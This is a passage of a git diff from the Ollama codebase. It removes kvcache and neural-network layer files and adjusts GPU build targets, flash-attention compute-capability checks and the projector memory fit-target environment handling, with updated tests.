append(positions, store.entries[i].pos) - } - } - slices.Sort(positions) - - want := []int32{1, 3, 6} - if !slices.Equal(positions, want) { - t.Fatalf("unexpected checkpoint positions after remove: got=%v want=%v", positions, want) - } -} - -func TestSlotCheckpointStoreRingBufferWrapAround(t *testing.T) { - store := newSlotCheckpointStore(3) - - store.record(10) - store.record(20) - store.record(30) - - store.entries[0].conv = make(map[int]ml.Tensor) - store.entries[0].conv[0] = nil - store.entries[0].recurrent = make(map[int]ml.Tensor) - store.entries[0].recurrent[0] = nil - - store.record(40) - - if store.entries[0].conv == nil { - t.Fatalf("expected conv map to be preserved on reuse") - } - if store.entries[0].recurrent == nil { - t.Fatalf("expected recurrent map to be preserved on reuse") - } - if store.entries[0].pos != 40 { - t.Fatalf("expected entry 0 pos to be 40, got %d", store.entries[0].pos) - } -} - -func TestSlotCheckpointStoreFullCapacity(t *testing.T) { - store := newSlotCheckpointStore(2) - - idx1 := store.record(10) - idx2 := store.record(20) - - if idx1 != 0 || idx2 != 1 { - t.Fatalf("expected indices 0, 1, got %d, %d", idx1, idx2) - } - if store.size != 2 { - t.Fatalf("expected size 2, got %d", store.size) - } - - _, pos1, ok1 := store.bestIndex(15) - _, pos2, ok2 := store.bestIndex(25) - - if !ok1 || pos1 != 10 { - t.Fatalf("expected best pos 10 for target 15, got pos=%d ok=%v", pos1, ok1) - } - if !ok2 || pos2 != 20 { - t.Fatalf("expected best pos 20 for target 25, got pos=%d ok=%v", pos2, ok2) - } -} - -func TestSlotCheckpointStoreEmptyBuffer(t *testing.T) { - store := newSlotCheckpointStore(0) - - idx := store.record(10) - if idx != -1 { - t.Fatalf("expected record to return -1 for empty buffer, got %d", idx) - } - - _, _, ok := store.bestIndex(15) - if ok { - t.Fatalf("expected no checkpoint for empty buffer") - } -} - -func TestSlotCheckpointStorePruneAfterAll(t *testing.T) { - store := newSlotCheckpointStore(3) - store.record(10) - store.record(20) - store.record(30) - - store.pruneAfter(5) - - if store.size != 0 { - t.Fatalf("expected size 0 after pruning all, got %d", store.size) - } - if store.lastPos != -1 { - t.Fatalf("expected lastPos -1 after pruning all, got %d", store.lastPos) - } - - _, _, ok := store.bestIndex(100) - if ok { - t.Fatalf("expected no checkpoint after pruning all") - } -} diff --git a/kvcache/wrapper.go b/kvcache/wrapper.go deleted file mode 100644 index 7533d959e..000000000 --- a/kvcache/wrapper.go +++ /dev/null @@ -1,110 +0,0 @@ -package kvcache - -import ( - "math" - - "github.com/ollama/ollama/ml" - "github.com/ollama/ollama/model/input" -) - -// Wrapper cache is a container for multiple types of caches, -// such as for the encoding and decoding portions of a model. -type WrapperCache struct { - // caches we are wrapping - caches []Cache - - // cache to be used for this layer - curType int -} - -func NewWrapperCache(caches ...Cache) *WrapperCache { - return &WrapperCache{ - caches: caches, - } -} - -func (c *WrapperCache) Init(backend ml.Backend, dtype ml.DType, maxSequences, capacity, maxBatch int) { - for _, cache := range c.caches { - cache.Init(backend, dtype, maxSequences, capacity, maxBatch) - } -} - -func (c *WrapperCache) SetConfig(config ml.CacheConfig) { - for _, cache := range c.caches { - cache.SetConfig(config) - } -} - -func (c *WrapperCache) Close() { - for _, cache := range c.caches { - cache.Close() - } -} - -func (c *WrapperCache) StartForward(ctx ml.Context, batch input.Batch, reserve bool) error { - for i, cache := range c.caches { - err := cache.StartForward(ctx, batch, reserve) - if err != nil { - // unwind on error - Remove with endIndex set to math.MaxInt32 does not fail - for j := i - 1; j >= 0; j-- { - for k := range batch.Positions { - _ = c.caches[j].Remove(batch.Sequences[k], batch.Positions[k], math.MaxInt32) - } - } - return err - } - } - - c.curType = 0 - return nil -} - -func (c *WrapperCache) SetLayer(layer int) { - for _, cache := range c.caches { - cache.SetLayer(layer) - } -} - -func (c *WrapperCache) SetLayerType(layerType int) { - c.curType = layerType -} - -func (c *WrapperCache) UnderlyingCache() Cache { - return c.caches[c.curType] -} - -func (c *WrapperCache) Get(ctx ml.Context) (ml.Tensor, ml.Tensor, ml.Tensor) { - return c.caches[c.curType].Get(ctx) -} - -func (c *WrapperCache) Put(ctx ml.Context, key, value ml.Tensor) { - c.caches[c.curType].Put(ctx, key, value) -} - -func (c *WrapperCache) CopyPrefix(srcSeq, dstSeq int, len int32) { - for _, cache := range c.caches { - cache.CopyPrefix(srcSeq, dstSeq, len) - } -} - -func (c *WrapperCache) CanResume(seq int, pos int32) bool { - for _, cache := range c.caches { - if !cache.CanResume(seq, pos) { - return false - } - } - - return true -} - -func (c *WrapperCache) Remove(seq int, beginIndex, endIndex int32) error { - // If the one of these fails, the caller is supposed to retry with endIndex set to math.MaxInt32, which should not fail - for _, cache := range c.caches { - err := cache.Remove(seq, beginIndex, endIndex) - if err != nil { - return err - } - } - - return nil -} diff --git a/llama/compat/llama-ollama-compat-util.cpp b/llama/compat/llama-ollama-compat-util.cpp index d09d6fde9..7520608aa 100644 --- a/llama/compat/llama-ollama-compat-util.cpp +++ b/llama/compat/llama-ollama-compat-util.cpp @@ -275,7 +275,7 @@ bool take_load_op(const char * dest_name, LoadOp & out) { } bool read_at(const char * path, size_t offset, void * dst, size_t size) { - FILE * f = std::fopen(path, "rb"); + FILE * f = ggml_fopen(path, "rb"); if (!f) { std::fprintf(stderr, "%s: open failed path=%s offset=%zu size=%zu errno=%d (%s)\n", __func__, path, offset, size, errno, std::strerror(errno)); diff --git a/llama/server/CMakePresets.json b/llama/server/CMakePresets.json index 1ccf4cfec..9ac2f6aa3 100644 --- a/llama/server/CMakePresets.json +++ b/llama/server/CMakePresets.json @@ -68,7 +68,7 @@ "inherits": ["llama_cuda_v12_base"], "binaryDir": "${sourceDir}/../../build/llama-server-cuda_v12", "cacheVariables": { - "CMAKE_CUDA_ARCHITECTURES": "50-virtual;52-virtual;60-virtual;61-virtual;70;75;80;86;89;90;90a;120" + "CMAKE_CUDA_ARCHITECTURES": "50-virtual;52-virtual;60;61;70;75;80;86;89;90;90a;120" } }, { @@ -178,7 +178,7 @@ "inherits": ["rocm_v7_1_base"], "binaryDir": "${sourceDir}/../../build/llama-server-rocm_v7_1", "cacheVariables": { - "AMDGPU_TARGETS": "gfx942;gfx950;gfx1010;gfx1012;gfx1030;gfx1100;gfx1101;gfx1102;gfx1103;gfx1150;gfx1151;gfx1200;gfx1201" + "AMDGPU_TARGETS": "gfx1030;gfx1100;gfx1101;gfx1102;gfx1150;gfx1151;gfx1200;gfx1201" } }, { @@ -202,7 +202,7 @@ "inherits": ["rocm_v7_2_base"], "binaryDir": "${sourceDir}/../../build/llama-server-rocm_v7_2", "cacheVariables": { - "AMDGPU_TARGETS": "gfx908:xnack-;gfx90a:xnack+;gfx90a:xnack-;gfx942;gfx950;gfx1010;gfx1012;gfx1030;gfx1100;gfx1101;gfx1102;gfx1103;gfx1150;gfx1151;gfx1200;gfx1201" + "AMDGPU_TARGETS": "gfx908:xnack-;gfx90a:xnack+;gfx90a:xnack-;gfx942;gfx950;gfx1030;gfx1100;gfx1101;gfx1102;gfx1150;gfx1151;gfx1200;gfx1201" } }, { diff --git a/llm/llama_server.go b/llm/llama_server.go index 86f3d3c5a..540aa5644 100644 --- a/llm/llama_server.go +++ b/llm/llama_server.go @@ -77,6 +77,14 @@ const ( openEndedGenerationContextMultiplier = 10 ) +const ( + llamaArgFitTargetEnv = "LLAMA_ARG_FIT_TARGET" + bytesPerMiB = 1 << 20 + + // mmprojOffloadHeadroom leaves 1 GiB for backend buffers beyond projector weights. + mmprojOffloadHeadroom = 1 << 30 +) + // DefaultEmbeddingNumBatchForContext caps the embedding batch default to the // active context length before it is passed to llama-server. func DefaultEmbeddingNumBatchForContext(numCtx int) int { @@ -420,7 +428,7 @@ func startLlamaServer(launch llamaServerLaunchConfig, out io.Writer) (cmd *exec. cmd.Stderr = out } cmd.SysProcAttr = LlamaServerSysProcAttr - SetupLlamaServerCommandEnv(cmd, exe, launch.gpuLibs, launch.extraEnvs) + SetupLlamaServerCommandEnv(cmd, exe, launch.gpuLibs, launch.extraEnvsForStart()) slog.Info("starting llama-server", "cmd", cmd) slog.Debug("subprocess", "", filteredEnv(cmd.Env)) @@ -621,11 +629,6 @@ func appendMainGPUArgs(params []string, opts api.Options) []string { return append(params, "--split-mode", "none", "--main-gpu", strconv.Itoa(*opts.MainGPU)) } -const ( - // mmprojOffloadHeadroom leaves 1 GiB for backend buffers beyond projector weights. - mmprojOffloadHeadroom = 1 << 30 -) - func appendMMProjArgs(params []string, launch llamaServerLaunchConfig) []string { if len(launch.projectors) == 0 { return params @@ -658,9 +661,6 @@ func shouldDisableMMProjOffload(opts api.Options, gpus []ml.DeviceInfo, modelLay requiredMemory := mmprojMemory + mmprojOffloadHeadroom for _, gpu := range gpus { - if gpu.Integrated && gpu.Library != "Metal" { - return true, "shared-memory-gpu" - } memory := gpu.FreeMemory if memory == 0 || (gpu.TotalMemory > 0 && gpu.TotalMemory < memory) { memory = gpu.TotalMemory @@ -673,6 +673,47 @@ func shouldDisableMMProjOffload(opts api.Options, gpus []ml.DeviceInfo, modelLay return false, "" } +func (launch llamaServerLaunchConfig) extraEnvsForStart() map[string]string { + pad, ok := launch.mmprojFitTargetMiB() + if !ok { + return launch.extraEnvs + } + + if existing, ok := launch.extraEnvs[llamaArgFitTargetEnv]; ok { + existingTarget, err := strconv.ParseUint(existing, 10, 64) + if err != nil { + slog.Warn("invalid llama-server fit target", "env", llamaArgFitTargetEnv, "value", existing, "error", err) + return launch.extraEnvs + } + + envs := cloneStringMap(launch.extraEnvs) + envs[llamaArgFitTargetEnv] = strconv.FormatUint(existingTarget+pad, 10) + return envs + } + + if _, ok := os.LookupEnv(llamaArgFitTargetEnv); ok { + // Preserve an inherited user override. SetupLlamaServerCommandEnv + // will pass it through unless extraEnvs overrides it. + return launch.extraEnvs + } + + envs := cloneStringMap(launch.extraEnvs) + envs[llamaArgFitTargetEnv] = strconv.FormatUint(pad, 10) + return envs +} + +func (launch llamaServerLaunchConfig) mmprojFitTargetMiB() (uint64, bool) { + if len(launch.projectors) == 0 || launch.mmprojMemory == 0 { + return 0, false + } + if disable, _ := launch.mmprojOffloadDisabled(); disable { + return 0, false + } + + requiredMemory := launch.mmprojMemory + mmprojOffloadHeadroom + return (requiredMemory + bytesPerMiB - 1) / bytesPerMiB, true +} + // mmprojMemoryRequirement is a stopgap until fit accounts for mmproj memory directly. func mmprojMemoryRequirement(modelPath string, f *ggml.GGML, projectors []string) (uint64, error) { if len(projectors) == 0 { diff --git a/llm/llama_server_test.go b/llm/llama_server_test.go index 9e52c07cb..d39b5b085 100644 --- a/llm/llama_server_test.go +++ b/llm/llama_server_test.go @@ -1955,7 +1955,7 @@ func TestAppendFlashAttentionArgs(t *testing.T) { supportedGPU := []ml.DeviceInfo{{DeviceID: ml.DeviceID{Library: "CUDA"}, DriverMajor: 13, ComputeMajor: 8, ComputeMinor: 9}} oldGPU := []ml.DeviceInfo{ {DeviceID: ml.DeviceID{Library: "CUDA"}, DriverMajor: 12, ComputeMajor: 8, ComputeMinor: 9}, - {DeviceID: ml.DeviceID{Library: "CUDA"}, DriverMajor: 12, ComputeMajor: 6, ComputeMinor: 2}, + {DeviceID: ml.DeviceID{Library: "CUDA"}, DriverMajor: 12, ComputeMajor: 5, ComputeMinor: 0}, } tests := []struct { @@ -2121,13 +2121,22 @@ func TestAppendMMProjArgs(t *testing.T) { want: []string{"base", "--mmproj", "model.gguf", "--no-mmproj-offload"}, }, { - name: "integrated rocm gpu disables projector offload", + name: "integrated rocm gpu keeps projector offload when projector fits", projectors: []string{"model.gguf"}, opts: defaultOpts, gpus: []ml.DeviceInfo{{DeviceID: ml.DeviceID{Library: "ROCm"}, Integrated: true, FreeMemory: 32 << 30}}, mmprojMemory: 933 << 20, modelLayers: 81, - want: []string{"base", "--mmproj", "model.gguf", "--no-mmproj-offload"}, + want: []string{"base", "--mmproj", "model.gguf"}, + }, + { + name: "integrated cuda gpu keeps projector offload", + projectors: []string{"model.gguf"}, + opts: defaultOpts, + gpus: []ml.DeviceInfo{{DeviceID: ml.DeviceID{Library: "CUDA"}, Integrated: true, FreeMemory: 32 << 30}}, + mmprojMemory: 933 << 20, + modelLayers: 81, + want: []string{"base", "--mmproj", "model.gguf"}, }, { name: "integrated metal gpu keeps projector offload", @@ -2195,6 +2204,75 @@ func TestAppendMMProjArgs(t *testing.T) { } } +func TestMMProjFitTargetExtraEnvs(t *testing.T) { + t.Setenv(llamaArgFitTargetEnv, "") + _ = os.Unsetenv(llamaArgFitTargetEnv) + + const ( + projectorMemoryMiB = uint64(933) + projectorPadMiB = projectorMemoryMiB + mmprojOffloadHeadroom/bytesPerMiB + ) + + fitTargetValue := func(mib uint64) string { + return fmt.Sprint(mib) + } + + assertFitTarget := func(t *testing.T, got map[string]string, wantMiB uint64) { + t.Helper() + if got[llamaArgFitTargetEnv] != fitTargetValue(wantMiB) { + t.Fatalf("fit target = %q, want %d", got[llamaArgFitTargetEnv], wantMiB) + } + } + + newLaunch := func(extraEnvs map[string]string) llamaServerLaunchConfig { + return llamaServerLaunchConfig{ + projectors: []string{"model.gguf"}, + mmprojMemory: projectorMemoryMiB * bytesPerMiB, + opts: api.DefaultOptions(), + gpus: []ml.DeviceInfo{{DeviceID: ml.DeviceID{Library: "CUDA"}, Integrated: true, FreeMemory: 32 << 30}}, + modelLayers: 81, + extraEnvs: extraEnvs, + } + } + + t.Run("sets projector pad when no fit target exists", func(t *testing.T) { + launch := newLaunch(map[string]string{"KEEP": "1"}) + + got := launch.extraEnvsForStart() + assertFitTarget(t, got, projectorPadMiB) + if _, ok := launch.extraEnvs[llamaArgFitTargetEnv]; ok { + t.Fatal("extraEnvsForStart mutated launch.extraEnvs") + } + }) + + for _, tt := range []struct { + name string + launchFitTargetMiB uint64 + }{ + {name: "adds projector pad to existing launch fit target", launchFitTargetMiB: 2048}, + {name: "adds projector pad to smaller launch fit target", launchFitTargetMiB: 512}, + } { + t.Run(tt.name, func(t *testing.T) { + launch := newLaunch(map[string]string{ + llamaArgFitTargetEnv: fitTargetValue(tt.launchFitTargetMiB), + }) + + got := launch.extraEnvsForStart() + assertFitTarget(t, got, tt.launchFitTargetMiB+projectorPadMiB) + }) + } + + t.Run("preserves inherited user fit target", func(t *testing.T) { + t.Setenv(llamaArgFitTargetEnv, fitTargetValue(256)) + launch := newLaunch(map[string]string{}) + + got := launch.extraEnvsForStart() + if _, ok := got[llamaArgFitTargetEnv]; ok { + t.Fatalf("user env should not be overridden, got extra env %q", got[llamaArgFitTargetEnv]) + } + }) +} + func TestMMProjMemoryRequirement(t *testing.T) { if got, err := mmprojMemoryRequirement("model.gguf", nil, nil); err != nil || got != 0 { t.Fatalf("no projector memory = %d, %v; want 0, nil", got, err) diff --git a/ml/device.go b/ml/device.go index 5dee4fe69..fbeb07139 100644 --- a/ml/device.go +++ b/ml/device.go @@ -585,7 +585,7 @@ func FlashAttentionSupported(l []DeviceInfo) bool { func cudaFlashAttentionSupported(gpu DeviceInfo) bool { if gpu.Library != "CUDA" || - gpu.ComputeMajor < 7 || + gpu.ComputeMajor < 6 || (gpu.ComputeMajor == 7 && gpu.ComputeMinor == 2) { return false } diff --git a/ml/device_test.go b/ml/device_test.go index 1bb525733..474974f46 100644 --- a/ml/device_test.go +++ b/ml/device_test.go @@ -186,8 +186,19 @@ func TestFlashAttentionSupported(t *testing.T) { gpus: []DeviceInfo{{DeviceID: DeviceID{Library: "CUDA"}, DriverMajor: 12, ComputeMajor: 5, ComputeMinor: 0}}, }, { - name: "cuda compute 6.2 unsupported", + name: "cuda compute 6.0 supported", + gpus: []DeviceInfo{{DeviceID: DeviceID{Library: "CUDA"}, DriverMajor: 12, ComputeMajor: 6, ComputeMinor: 0}}, + want: true, + }, + { + name: "cuda compute 6.1 supported", + gpus: []DeviceInfo{{DeviceID: DeviceID{Library: "CUDA"}, DriverMajor: 12, ComputeMajor: 6, ComputeMinor: 1}}, + want: true, + }, + { + name: "cuda compute 6.2 supported", gpus: []DeviceInfo{{DeviceID: DeviceID{Library: "CUDA"}, DriverMajor: 12, ComputeMajor: 6, ComputeMinor: 2}}, + want: true, }, { name: "cuda compute 7.2 unsupported", @@ -216,7 +227,7 @@ func TestFlashAttentionSupported(t *testing.T) { name: "mixed cuda unsupported", gpus: []DeviceInfo{ {DeviceID: DeviceID{Library: "CUDA"}, DriverMajor: 12, ComputeMajor: 8, ComputeMinor: 9}, - {DeviceID: DeviceID{Library: "CUDA"}, DriverMajor: 12, ComputeMajor: 6, ComputeMinor: 2}, + {DeviceID: DeviceID{Library: "CUDA"}, DriverMajor: 12, ComputeMajor: 5, ComputeMinor: 0}, }, }, { diff --git a/ml/nn/attention.go b/ml/nn/attention.go deleted file mode 100644 index e495e1f60..000000000 --- a/ml/nn/attention.go +++ /dev/null @@ -1,84 +0,0 @@ -package nn - -import ( - "fmt" - - "github.com/ollama/ollama/kvcache" - "github.com/ollama/ollama/ml" -) - -// Attention implements scaled dot-product attention for transformer models: -// Attention(Q, K, V) = softmax(QK^T/√d_k)V -// -// Parameters: -// - ctx: Context for tensor operations -// - query: Query tensor (Q) with shape [d_k, heads, seq_len_q] -// - key: Key tensor (K) with shape [d_k, kv_heads, seq_len_k], can be nil to read from cache only -// - value: Value tensor (V) with shape [d_v, kv_heads, seq_len_k], can be nil to read from cache only -// - scale: Scaling factor, typically 1/√d_k where d_k is the key dimension -// - cache: KV cache to store key/value and get past history, can be nil to only use provided key/value -// -// Returns: -// -// Attention output with shape [d_v, heads, seq_len_q] -func Attention(ctx ml.Context, query, key, value ml.Tensor, scale float64, cache kvcache.Cache) ml.Tensor { - return AttentionWithVMLA(ctx, query, key, value, nil, nil, scale, cache) -} - -func AttentionWithSinks(ctx ml.Context, query, key, value, sinks ml.Tensor, scale float64, cache kvcache.Cache) ml.Tensor { - return AttentionWithVMLA(ctx, query, key, value, sinks, nil, scale, cache) -} - -func AttentionWithVMLA(ctx ml.Context, query, key, value, sinks ml.Tensor, vmla ml.Tensor, scale float64, cache kvcache.Cache) ml.Tensor { - ctx.Forward(query) - if key != nil && value != nil { - if query.Dim(0) != key.Dim(0) { - panic(fmt.Errorf("d_k in attention operation does not match between query(%v) and key(%v)", query.Dim(0), key.Dim(0))) - } - - if key.Dim(1) != value.Dim(1) { - panic(fmt.Errorf("kv_heads in attention operation does not match between key(%v) and value(%v)", key.Dim(1), value.Dim(1))) - } - - if key.Dim(2) != value.Dim(2) { - panic(fmt.Errorf("seq_len_k in attention operation does not match between key(%v) and value(%v)", key.Dim(2), value.Dim(2))) - } - - ctx.Forward(key, value) - if cache != nil { - cache.Put(ctx, key, value) - } - } else if cache == nil { - panic("key & value tensors must be provided if cache is nil") - } - - var mask ml.Tensor - if cache != nil { - key, value, mask = cache.Get(ctx) - } - - if sdpa, ok := query.(ml.ScaledDotProductAttention); ok { - cacheConfigApplied := cache != nil - return sdpa.ScaledDotProductAttention(ctx, key, value, mask, sinks, vmla, scale, cacheConfigApplied) - } else { - query = query.Permute(ctx, 0, 2, 1, 3) - key = key.Permute(ctx, 0, 2, 1, 3) - value = value.Permute(ctx, 1, 2, 0, 3).Contiguous(ctx) - - kq := key.MulmatFullPrec(ctx, query) - - kq = kq.Scale(ctx, scale) - if mask != nil { - kq = kq.Add(ctx, mask) - } - kq = kq.Softmax(ctx) - - kqv := value.Mulmat(ctx, kq) - - if vmla != nil { - kqv = vmla.Mulmat(ctx, kqv) - } - - return kqv.Permute(ctx, 0, 2, 1, 3).Contiguous(ctx) - } -} diff --git a/ml/nn/convolution.go b/ml/nn/convolution.go deleted file mode 100644 index 2954de007..000000000 --- a/ml/nn/convolution.go +++ /dev/null @@ -1,30 +0,0 @@ -package nn - -import "github.com/ollama/ollama/ml" - -type Conv2D struct { - Weight ml.Tensor `gguf:"weight"` - Bias ml.Tensor `gguf:"bias"` -} - -func (m *Conv2D) Forward(ctx ml.Context, t ml.Tensor, s0, s1, p0, p1, d0, d1 int) ml.Tensor { - t = m.Weight.Conv2D(ctx, t, s0, s1, p0, p1, d0, d1) - if m.Bias != nil { - // Bias shape is (out_channels,) while t shape is (width, height, out_channels, batch) - t = t.Add(ctx, m.Bias.Reshape(ctx, 1, 1, -1)) - } - return t -} - -type Conv3D struct { - Weight ml.Tensor `gguf:"weight"` - Bias ml.Tensor `gguf:"bias"` -} - -func (m *Conv3D) Forward(ctx ml.Context, t ml.Tensor, c, s0, s1, s2, p0, p1, p2, d0, d1, d2 int) ml.Tensor { - t = m.Weight.Conv3D(ctx, t, c, s0, s1, s2, p0, p1, p2, d0, d1, d2) - if m.Bias != nil { - t = t.Add(ctx, m.Bias) - } - return t -} diff --git a/ml/nn/embedding.go b/ml/nn/embedding.go deleted file mode 100644 index 621efbcce..000000000 --- a/ml/nn/embedding.go +++ /dev/null @@ -1,11 +0,0 @@ -package nn - -import "github.com/ollama/ollama/ml" - -type Embedding struct { - Weight ml.Tensor `gguf:"weight"` -} - -func (m *Embedding) Forward(ctx ml.Context, hiddenState ml.Tensor) ml.Tensor { - return m.Weight.Rows(ctx, hiddenState) -} diff --git a/ml/nn/linear.go b/ml/nn/linear.go deleted file mode 100644 index c1f331635..000000000 --- a/ml/nn/linear.go +++ /dev/null @@ -1,31 +0,0 @@ -package nn - -import "github.com/ollama/ollama/ml" - -type Linear struct { - Weight ml.Tensor `gguf:"weight"` - Bias ml.Tensor `gguf:"bias"` -} - -func (m *Linear) Forward(ctx ml.Context, t ml.Tensor) ml.Tensor { - t = m.Weight.Mulmat(ctx, t) - if m.Bias != nil { - t = t.Add(ctx, m.Bias) - } - - return t -} - -type LinearBatch struct { - Weight ml.Tensor `gguf:"weight"` - Bias ml.Tensor `gguf:"bias"` -} - -func (m *LinearBatch) Forward(ctx ml.Context, t, indices ml.Tensor) ml.Tensor { - t = m.Weight.MulmatID(ctx, t, indices) - if m.Bias != nil { - t = t.AddID(ctx, m.Bias, indices) - } - - return t -} diff --git a/ml/nn/normalization.go b/ml/nn/normalization.go deleted file mode 100644 index 8346bf7a3..000000000 --- a/ml/nn/normalization.go +++ /dev/null @@ -1,22 +0,0 @@ -package nn - -import ( - "github.com/ollama/ollama/ml" -) - -type LayerNorm struct { - Weight ml.Tensor `gguf:"weight"` - Bias ml.Tensor `gguf:"bias"` -} - -func (m *LayerNorm) Forward(ctx ml.Context, t ml.Tensor, eps float32) ml.Tensor { - return t.LayerNorm(ctx, m.Weight, m.Bias, eps) -} - -type RMSNorm struct { - Weight ml.Tensor `gguf:"weight"` -} - -func (m *RMSNorm) Forward(ctx ml.Context, t ml.Tensor, eps float32) ml.Tensor { - return t.RMSNorm(ctx, m.Weight, eps) -} diff --git a/ml/nn/pooling/pooling.go b/ml/nn/pooling/pooling.go deleted file mode 100644 index 47af87463..000000000 --- a/ml/nn/pooling/pooling.go +++ /dev/null @@ -1,41 +0,0 @@ -package pooling - -import ( - "github.com/ollama/ollama/ml" -) - -type Type uint32 - -const ( - TypeNone Type = iota - TypeMean - TypeCLS - TypeLast -) - -func (t Type) String() string { - switch t { - case TypeMean: - return "Mean" - case TypeCLS: - return "CLS" - case TypeLast: - return "Last" - default: - return "Unknown" - } -} - -func (t Type) Forward(ctx ml.Context, hiddenStates ml.Tensor) ml.Tensor { - switch t { - case TypeMean: - hiddenStates = hiddenStates.Permute(ctx, 1, 0, 2, 3).Contiguous(ctx).Mean(ctx) - return hiddenStates.Permute(ctx, 1, 0, 2, 3).Contiguous(ctx) - case TypeCLS: - return hiddenStates.Slice(ctx, 1, 0, 1, 1) - case TypeLast: - return hiddenStates.Slice(ctx, 1, hiddenStates.Dim(1)-1, hiddenStates.Dim(1), 1) - default: - panic("unknown pooling type") - } -} diff --git a/ml/nn/rope.go b/ml/nn/rope.go deleted file mode 100644 index 967aa94f9..000000000 --- a/ml/nn/rope.go +++ /dev/null @@ -1,20 +0,0 @@ -package nn - -import ( - "github.com/ollama/ollama/ml" - "github.com/ollama/ollama/ml/nn/rope" -) - -// fastRoPE is an interface for tensors that support fast rotary positional embedding. -type fastRoPE interface { - RoPE(ctx ml.Context, positions ml.Tensor, dim int, base, scale float32, options ...func(*rope.Options)) ml.Tensor -} - -// RoPE applies rotary positional embedding to tensor `t`. -func RoPE(ctx ml.Context, t, positions ml.Tensor, dim int, base, scale float32, options ...func(*rope.Options)) ml.Tensor { - if t, ok := t.(fastRoPE); ok { - return t.RoPE(ctx, positions, dim, base, scale, options...) - } - - panic("RoPE not implemented for this tensor type") -} diff --git a/ml/nn/rope/options.go b/ml/nn/rope/options.go deleted file mode 100644 index 1724128a4..000000000 --- a/ml/nn/rope/options.go +++ /dev/null @@ -1,92 +0,0 @@ -// Package rope provides options for RoPE -package rope - -import "github.com/ollama/ollama/ml" - -// Options contains optional parameters for RoPE function -type Options struct { - Type int - Factors ml.Tensor - - // YaRN options - YaRN struct { - OriginalContextLength int - ExtrapolationFactor, - AttentionFactor, - BetaFast, - BetaSlow float32 - } - - // MRoPE options - MRoPE struct { - Sections []int - } -} - -// WithTypeNeoX sets RoPE type to NeoX -func WithTypeNeoX() func(*Options) { - return func(opts *Options) { - opts.Type = 2 - } -} - -// WithFactors sets custom rope factors -func WithFactors(factors ml.Tensor) func(*Options) { - return func(opts *Options) { - if factors != nil { - opts.Factors = factors - } - } -} - -// WithOriginalContextLength sets a custom context length -func WithOriginalContextLength(n int) func(*Options) { - return func(opts *Options) { - opts.YaRN.OriginalContextLength = n - } -} - -func WithExtrapolationFactor(extrapolationFactor float32) func(*Options) { - return func(opts *Options) { - opts.YaRN.ExtrapolationFactor = extrapolationFactor - } -} - -func WithAttentionFactor(attentionFactor float32) func(*Options) { - return func(opts *Options) { - opts.YaRN.AttentionFactor = attentionFactor - } -} - -func WithBetaFast(betaFast float32) func(*Options) { - return func(opts *Options) { - opts.YaRN.BetaFast = betaFast - } -} - -func WithBetaSlow(betaSlow float32) func(*Options) { - return func(opts *Options) { - opts.YaRN.BetaSlow = betaSlow - } -} - -func WithMRoPE(sections []int) func(*Options) { - return func(opts *Options) { - opts.Type |= 1 << 3 - opts.MRoPE.Sections = sections - } -} - -func WithVision(sections []int) func(*Options) { - return func(opts *Options) { - opts.Type |= 1<<3 | 1<<4 - opts.MRoPE.Sections = sections - } -} - -func WithInterleaveMRoPE(sections []int) func(*Options) { - return func(opts *Options) { - opts.Type |= 1<<3 | 1<<5 - opts.MRoPE.Sections = sections - } -} diff --git a/model/input/input.go b/model/input/input.go deleted file mode 100644 index 35dc41b35..000000000 --- a/model/input/input.go +++ /dev/null @@ -1,72 +0,0 @@ -package input - -import "github.com/ollama/ollama/ml" - -// Multimodal is a multimodal embedding or a component of one. -// For example, it could be a row of an image that can be processed -// independently. -type Multimodal struct { - // Tensor is the embedding data. Implementations may chose what to - // store here or it may be nil if not needed. However, any ml.Tensor - // objects must be stored here and not in Data. - Tensor ml.Tensor - - // Data is implementation-specific opaque data, such as metadata on how - // to layout Tensor. It may be nil if not needed. It may also store larger - // objects such as complete images if they are to be processed later. - Data any -} - -// Input represents one token in the input stream -type Input struct { - // Token is a single element of text. - Token int32 - - // Multimodal is represents a non-text element such as an - // image (or part of one if the image can be processed in pieces). - // It may be used either together with Token or on its own. - Multimodal []Multimodal - - // MultimodalHash is a unique representation of the data - // stored in Multimodal, used for caching and comparing - // equality. - MultimodalHash uint64 - - // SameBatch forces the following number of tokens to be processed - // in a single batch, breaking and extending batches as needed. - // Useful for things like images that must be processed in one - // shot. - SameBatch int -} - -// MultimodalIndex is a multimodal element (such as an image) -// together with an index into the slice of Inputs with the -// corresponding token. Note that the index is not the same -// as the position - to find that use the index with the -// Positions slice. -type MultimodalIndex struct { - Index int - Multimodal []Multimodal -} - -// Batch contains the inputs for a model forward pass -type Batch struct { - // Inputs is the input tokens, including placeholders for multimodal inputs. - Inputs ml.Tensor - - // Outputs are the set of indicies into Inputs for which output data should - // be returned. - Outputs ml.Tensor - - // Positions is the position for each Input, relative to its sequence. Equal - // in length to Inputs. - Positions []int32 - - // Sequences is the sequence for each Input. Equal in length to Inputs. - Sequences []int - - // Multimodal is a set of multimodal embeddings previously created by - // EncodeMultimodal, along with an index into Inputs. Unused for text-only - // models or for batches without multimodal elements. - Multimodal []MultimodalIndex -} diff --git a/model/model.go b/model/model.go deleted file mode 100644 index 238df11bb..000000000 --- a/model/model.go +++ /dev/null @@ -1,353 +0,0 @@ -package model - -import ( - "errors" - "fmt" - _ "image/jpeg" - _ "image/png" - "log/slog" - "os" - "reflect" - "strconv" - "strings" - - _ "golang.org/x/image/bmp" - _ "golang.org/x/image/tiff" - _ "golang.org/x/image/webp" - - "github.com/ollama/ollama/fs" - fsggml "github.com/ollama/ollama/fs/ggml" - "github.com/ollama/ollama/kvcache" - "github.com/ollama/ollama/logutil" - "github.com/ollama/ollama/ml" - "github.com/ollama/ollama/ml/nn/pooling" - "github.com/ollama/ollama/model/input" - "github.com/ollama/ollama/tokenizer" -) - -var ( - ErrNoVisionModel = errors.New("this model is missing data required for image input") - ErrUnsupportedModel = errors.New("model not supported") - ErrUnsupportedTokenizer = errors.New("tokenizer not supported") -) - -// Model implements a specific model architecture, defining the forward pass and any model-specific configuration -type Model interface { - Forward(ml.Context, input.Batch) (ml.Tensor, error) - - Backend() ml.Backend - Config() config -} - -// Validator is an optional interface that models can implement to perform -// validation after tensors have been loaded. If validation fails, model -// loading will fail with the returned error. -type Validator interface { - Validate() error -} - -// PostLoader is an optional interface that models can implement to run -// initialization steps after backend weights have been loaded. -type PostLoader interface { - PostLoad() error -} - -// MultimodalProcessor must be implemented by multimodal models. -type MultimodalProcessor interface { - // EncodeMultimodal processes a single input (such as an image) and - // generates an output (typically an embedding) that can be used by the model. - // - // The return value is one or more tensors, each with optional model-specific - // opaque metadata. Typically, the tensors might be views into an embedding - // with each view representing a chunk 